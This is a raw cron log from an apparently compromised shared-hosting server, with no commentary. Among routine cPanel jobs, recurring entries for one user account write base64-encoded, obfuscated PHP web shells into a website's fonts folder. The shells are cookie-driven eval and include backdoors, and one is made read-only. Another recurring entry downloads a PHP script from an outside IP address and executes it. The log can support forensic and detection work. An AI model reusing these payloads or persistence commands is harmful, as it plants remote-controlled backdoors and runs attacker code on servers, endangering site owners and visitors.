Sep  9 04:11:01 ip-184-168-122-23 CROND[8800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:11:01 ip-184-168-122-23 CROND[8803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:11:01 ip-184-168-122-23 CROND[8804]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:11:01 ip-184-168-122-23 CROND[8802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:12:01 ip-184-168-122-23 CROND[8980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:12:01 ip-184-168-122-23 CROND[8981]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 04:12:02 ip-184-168-122-23 CROND[8985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:12:02 ip-184-168-122-23 CROND[8986]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:12:02 ip-184-168-122-23 CROND[8987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:13:01 ip-184-168-122-23 CROND[9092]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:13:01 ip-184-168-122-23 CROND[9094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:13:01 ip-184-168-122-23 CROND[9095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:13:01 ip-184-168-122-23 CROND[9096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:14:01 ip-184-168-122-23 CROND[9217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:14:01 ip-184-168-122-23 CROND[9219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:14:01 ip-184-168-122-23 CROND[9220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:14:01 ip-184-168-122-23 CROND[9221]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 04:14:01 ip-184-168-122-23 CROND[9225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:15:01 ip-184-168-122-23 CROND[9325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:15:01 ip-184-168-122-23 CROND[9326]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  9 04:15:01 ip-184-168-122-23 CROND[9327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:15:01 ip-184-168-122-23 CROND[9329]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 04:15:01 ip-184-168-122-23 CROND[9333]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 04:15:01 ip-184-168-122-23 CROND[9334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:15:01 ip-184-168-122-23 CROND[9330]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:16:01 ip-184-168-122-23 CROND[9447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:16:01 ip-184-168-122-23 CROND[9449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:16:01 ip-184-168-122-23 CROND[9450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:16:01 ip-184-168-122-23 CROND[9451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:16:01 ip-184-168-122-23 CROND[9453]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 04:16:01 ip-184-168-122-23 CROND[9452]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 04:17:01 ip-184-168-122-23 CROND[9567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:17:01 ip-184-168-122-23 CROND[9568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:17:01 ip-184-168-122-23 CROND[9569]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:17:01 ip-184-168-122-23 CROND[9571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:18:01 ip-184-168-122-23 CROND[9704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:18:01 ip-184-168-122-23 CROND[9705]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 04:18:01 ip-184-168-122-23 CROND[9707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:18:01 ip-184-168-122-23 CROND[9712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:18:01 ip-184-168-122-23 CROND[9711]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:19:01 ip-184-168-122-23 CROND[9880]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:19:01 ip-184-168-122-23 CROND[9881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:19:01 ip-184-168-122-23 CROND[9884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:19:01 ip-184-168-122-23 CROND[9883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:20:01 ip-184-168-122-23 CROND[9976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:20:01 ip-184-168-122-23 CROND[9979]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 04:20:01 ip-184-168-122-23 CROND[9981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:20:01 ip-184-168-122-23 CROND[9984]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 04:20:01 ip-184-168-122-23 CROND[9985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:20:01 ip-184-168-122-23 CROND[9986]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 04:20:01 ip-184-168-122-23 CROND[9989]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 04:20:01 ip-184-168-122-23 CROND[9987]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 04:20:01 ip-184-168-122-23 CROND[9988]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:21:01 ip-184-168-122-23 CROND[10213]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:21:01 ip-184-168-122-23 CROND[10215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:21:01 ip-184-168-122-23 CROND[10216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:21:01 ip-184-168-122-23 CROND[10217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:22:01 ip-184-168-122-23 CROND[10302]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:22:01 ip-184-168-122-23 CROND[10304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:22:01 ip-184-168-122-23 CROND[10305]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 04:22:01 ip-184-168-122-23 CROND[10306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:22:01 ip-184-168-122-23 CROND[10307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:23:01 ip-184-168-122-23 CROND[10417]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
